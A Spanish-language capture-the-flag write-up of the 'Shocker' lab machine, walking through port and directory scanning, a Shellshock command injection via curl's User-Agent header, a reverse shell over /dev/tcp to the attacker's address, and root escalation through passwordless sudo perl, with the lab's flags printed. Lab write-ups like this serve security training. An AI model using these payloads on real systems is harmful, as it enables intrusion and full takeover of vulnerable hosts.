Shocker Writeup

Publicado el 14 de noviembre de 2023

Challenge creado por mrb3n

Esta máquina Linux se basa en una explotación del Shellshock exploit el cual fue divulgado por primera vez el 24 de septiembre de 2014.

Primero realizamos un escaneo de puertos a la máquina para ver qué servicios puede tener activos:

┌─[✗]─[ruflas@parrot]─[~]
└──╼ $sudo nmap -sC -sV 10.10.10.56
Starting Nmap 7.93 ( https://nmap.org ) at 2023-11-13 23:53 CET
Nmap scan report for 10.10.10.56
Host is up (0.044s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.18 (Ubuntu)
2222/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 c4f8ade8f80477decf150d630a187e49 (RSA)
| 256 228fb197bf0f1708fc7e2c8fe9773a48 (ECDSA)
|_ 256 e6ac27a3b5a9f1123c34a55d5beb3de9 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.93 seconds

Podemos observar que tiene el puerto 80 (Servicio Apache) y el puerto 2222 (SSH) abiertos.

Probamos a acceder al servicio web:

Miramos el código del mismo:

Podemos observar que el servicio web no tiene nada interesante.

Probamos a ejecutar gobuster dirb para enumerar posibles ficheros o directorios ocultos:

┌─[ruflas@parrot]─[~]
└──╼ $gobuster dir -u http://10.10.10.56 -w /usr/share/wordlists/dirb/big.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.10.56
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2023/11/14 00:00:37 Starting gobuster in directory enumeration mode
===============================================================
/.htaccess (Status: 403) [Size: 295]
/.htpasswd (Status: 403) [Size: 295]
/cgi-bin/ (Status: 403) [Size: 294]
/server-status (Status: 403) [Size: 299]

===============================================================
2023/11/14 00:01:51 Finished
===============================================================

Podemos observar que tenemos un directorio cgi-bin el cual podría ser interesante.

Probamos a buscar ficheros en el directorio:

┌─[✗]─[ruflas@parrot]─[~]
└──╼ $gobuster dir -u http://10.10.10.56/cgi-bin/ -x .php,.html,.txt,.sh -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.10.56/cgi-bin/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: sh,php,html,txt
[+] Timeout: 10s
===============================================================
2023/11/14 00:07:48 Starting gobuster in directory enumeration mode
===============================================================
[FICHEROS QUE NO NOS INTERESAN]
/user.sh (Status: 200) [Size: 119]

===============================================================
2023/11/14 00:09:14 Finished
===============================================================

Vamos a mirar qué contiene el archivo "user.sh":

┌─[ruflas@parrot]─[~/Downloads]
└──╼ $cat user.sh
Content-Type: text/plain

Just an uptime test script

17:40:53 up 9 min, 0 users, load average: 0.00, 0.00, 0.00

Podemos observar que el archivo contiene un script de bash que nos muestra el uptime del sistema.

Podemos probar a explotar la máquina mediante Shellshock

Para ello buscando en Google encontraremos ejemplos de exploits:

curl -A "() { ignored; }; echo Content-Type: text/plain ; echo ; echo ; /usr/bin/id" http://{IP}/cgi-bin/test/test.cgi

Adaptado a nuestro uso sería:

curl -A "() { ignored; }; echo Content-Type: text/plain ; echo ; echo ; /usr/bin/id" http://10.10.10.56/cgi-bin/user.sh

Cuya salida será:

uid=1000(shelly) gid=1000(shelly) groups=1000(shelly),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)

Podemos observar que el usuario que está ejecutando el script es "shelly".

Probamos a ejecutar una reverse shell:

curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.10.14.15/1234 0>&1' http://10.10.10.56/cgi-bin/user.sh

Y en nuestra máquina abrimos un netcat en el puerto 1234:

┌─[ruflas@parrot]─[~]
└──╼ $nc -lvnp 1234
listening on [any] 1234 ...

Y obtenemos una shell:

┌─[✗]─[ruflas@parrot]─[~]
└──╼ $sudo nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.14.15] from (UNKNOWN) [10.10.10.56] 52110
bash: no job control in this shell
shelly@Shocker:/usr/lib/cgi-bin$ whoami
whoami
shelly
shelly@Shocker:/usr/lib/cgi-bin$

Una vez dentro de la máquina podemos obtener la flag de usuario:

shelly@Shocker:/usr/lib/cgi-bin$ cat /home/shelly/user.txt
cat /home/shelly/user.txt
796d1cd815b6135827ffca2198eb162a

Ahora ejecutamos "sudo -l" para ver si tenemos privilegios en algún archivo sin contraseña para escalar privilegios:

shelly@Shocker:/usr/lib/cgi-bin$ sudo -l
sudo -l
Matching Defaults entries for shelly on Shocker:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User shelly may run the following commands on Shocker:
(root) NOPASSWD: /usr/bin/perl

Podemos observar que el usuario shelly puede ejecutar perl como root sin contraseña.

Buscamos en Google la web GTFOBINS y buscamos un exploit de sudo para perl:

El exploit sería este: perl sudo priv esc

Lo ejecutamos y veremos cómo fácilmente hemos escalado privilegios como root en la máquina:

shelly@Shocker:/usr/lib/cgi-bin$ sudo perl -e 'exec "/bin/sh";'
sudo perl -e 'exec "/bin/sh";'
whoami
root

Y ya tenemos la flag de root:

cat /root/root.txt
8e9e6e5aba5038446db85404fdc65ca2

Y ya hemos terminado la máquina Shocker ✅.

Comentarios